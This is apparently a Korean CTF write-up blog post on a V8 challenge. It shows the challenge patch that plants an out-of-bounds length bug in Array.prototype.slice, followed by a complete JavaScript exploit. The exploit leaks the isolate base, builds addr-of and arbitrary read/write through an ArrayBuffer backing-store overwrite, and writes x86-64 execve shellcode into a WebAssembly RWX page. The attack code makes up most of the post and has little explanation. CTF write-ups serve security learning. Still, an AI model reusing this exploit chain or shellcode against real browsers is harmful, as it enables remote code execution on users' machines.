같이 스터디하는 분이 CTF에 V8 나왔다고 알려줘서 풀어봤습니다.
취약점
Slice로 생성되는 array에서 OOB가 발생합니다. V8에선 OOB object가 생성되면 익스플로잇은 늘 하던 거 그대로 하면 되기 때문에 따로 자세히 설명하지는 않겠습니다. 다만 Exploit을 하다보면 OOB의 Base가 V8 heap이 아닌 다른 영역인데 이 부분은 나중에 분석 후 설명을 업로드할 예정입니다. (2021-10-29 young geneation )
diff --git a/src/builtins/array-slice.tq b/src/builtins/array-slice.tq
index 7b82f2bda3..4b9478f84e 100644
--- a/src/builtins/array-slice.tq
+++ b/src/builtins/array-slice.tq
@@ -101,7 +101,14 @@ macro HandleFastSlice(
// to be copied out. Therefore, re-check the length before calling
// the appropriate fast path. See regress-785804.js
if (SmiAbove(start + count, a.length)) goto Bailout;
- return ExtractFastJSArray(context, a, start, count);
+ // return ExtractFastJSArray(context, a, start, count);
+ // Instead of doing it the usual way, I've found out that returning it
+ // the following way gives us a 10x speedup!
+ const array: JSArray = ExtractFastJSArray(context, a, start, count);
+ const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+ otherwise Bailout;
+ array.ChangeLength(newLength);
+ return array;
}
case (a: JSStrictArgumentsObject): {
goto HandleSimpleArgumentsSlice(a);
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 26ccb62c68..8114a861cc 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1342,9 +1342,12 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+ // Remove globals
+ //Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ //Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+ v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
@@ -2285,10 +2288,13 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}
+ // Prevent `import("stuff")`
+ /*
isolate->SetHostImportModuleDynamicallyCallback(
Shell::HostImportModuleDynamically);
isolate->SetHostInitializeImportMetaObjectCallback(
Shell::HostInitializeImportMetaObject);
+ */
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
@@ -2316,9 +2322,11 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
// This needs to be a critical section since this is not thread-safe
base::MutexGuard lock_guard(context_mutex_.Pointer());
// Initialize the global objects
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+ //Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
EscapableHandleScope handle_scope(isolate);
- Local<Context> context = Context::New(isolate, nullptr, global_template);
+ //Local<Context> context = Context::New(isolate, nullptr, global_template);
+ Local<Context> context = Context::New(isolate, nullptr,
+ ObjectTemplate::New(isolate));
DCHECK(!context.IsEmpty());
if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
isolate->SetWasmLoadSourceMapCallback(ReadFile);
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index a4d4b9d356..7e2738b96e 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -26,6 +26,10 @@ macro CreateArrayIterator(implicit context: NativeContext)(
}
extern class JSArray extends JSObject {
+ macro ChangeLength(newLength: Smi) {
+ this.length = newLength;
+ }
+
macro IsEmpty(): bool {
return this.length == 0;
}
Exploit
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
u64_buf[1] = Number(BigInt(val) >> 32n);
return f64_buf[0];
}
function hex(val){
return "0x"+val.toString(16)
}
function assert(a){
if(a){
return;
}
throw "error"
}
/*
*/
function print(a){
console.log(a)
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;
a = [1.1,2.2,3.3,4.4]
oob = a.slice(5,5)
addr = [0x1234,0x1234,0x1234,0x1234,{}]
NOT_GC=new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);
console.log(oob)
console.log(addr)
console.log(NOT_GC)
console.log(AARW)
for(idx=0x7c00;idx<0xffffff;idx++){
tmp=oob[idx]
if(tmp){
//console.log( addr_idx+ " = "+hex(ftoi(tmp)))
}
if (ftoi(tmp) == 0x700000000){
console.log("isolate idx found!! = "+hex(idx))
break;
}
}
high = ftoi(oob[idx+1])
isolate = (high%(1n<<32n))<<32n
console.log('isolate = '+hex(isolate))
for(addr_idx=0x7c00;addr_idx<0xffffff;addr_idx++){
tmp=oob[addr_idx]
if(tmp){
//console.log( addr_idx+ " = "+hex(ftoi(tmp)))
}
if (ftoi(tmp) == 0x246800002468){
console.log("addr idx found!! = "+hex(addr_idx))
break;
}
}
for(x=0;x<100;x++){
leak = oob[addr_idx+x]
leak = ftoi(leak)
//console.log(hex(leak))
}
addr[4]=wasm_instance
RWX_ptr = ftoi(oob[addr_idx+1])>>32n
RWX_ptr = RWX_ptr +0x68n-1n + isolate
console.log(hex(RWX_ptr))
for(addr_idx=0x7c00;addr_idx<0xffffff;addr_idx++){
tmp=oob[addr_idx]
if(tmp){
//console.log( addr_idx+ " = "+hex(ftoi(tmp)))
}
if ( (ftoi(tmp)>>32n == 0xceedn) | ftoi(tmp)%(1n<<32n) == 0xceedn ){
console.log("addr idx found!!")
break;
}
}
console.log("addr idx = "+hex(addr_idx))
oob[addr_idx+1] = itof((RWX_ptr)<<32n)
oob[addr_idx+2] = itof(RWX_ptr>>32n)
//AAWR_addr(oob,addr_idx,0xdeadbeef12345678)
view = new DataView(AARW)
RWX_1=view.getUint32(0,true)//AARW
RWX_2=view.getUint32(4,true)
RWX = RWX_2*(0x100**4) + RWX_1
console.log(hex(RWX))
console.log("low = "+hex((RWX%0x100000000)*0x100000000))
console.log("high = "+hex( Math.floor(RWX/0x100000000)))
oob[addr_idx+1] = itof(RWX%(0x100**4)*(0x100**4))
oob[addr_idx+2] = itof(Math.floor(RWX/0x100000000))
shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(i=0;i<shellcode.length;i++){
view.setUint32(i*4,shellcode[i],true);
}
sh()
'브라우저' 카테고리의 다른 글
CCE 2021 - shlowering (0) | 2021.10.29 |
---|---|
CVE-2020-6383 (0) | 2020.11.10 |
Chrome v8 / CVE-2019-5791 (0) | 2020.08.17 |
pwn2win 2020 / omnitmizer (0) | 2020.06.03 |
Chrome v8 / CVE-2020-6418 (1) | 2020.04.25 |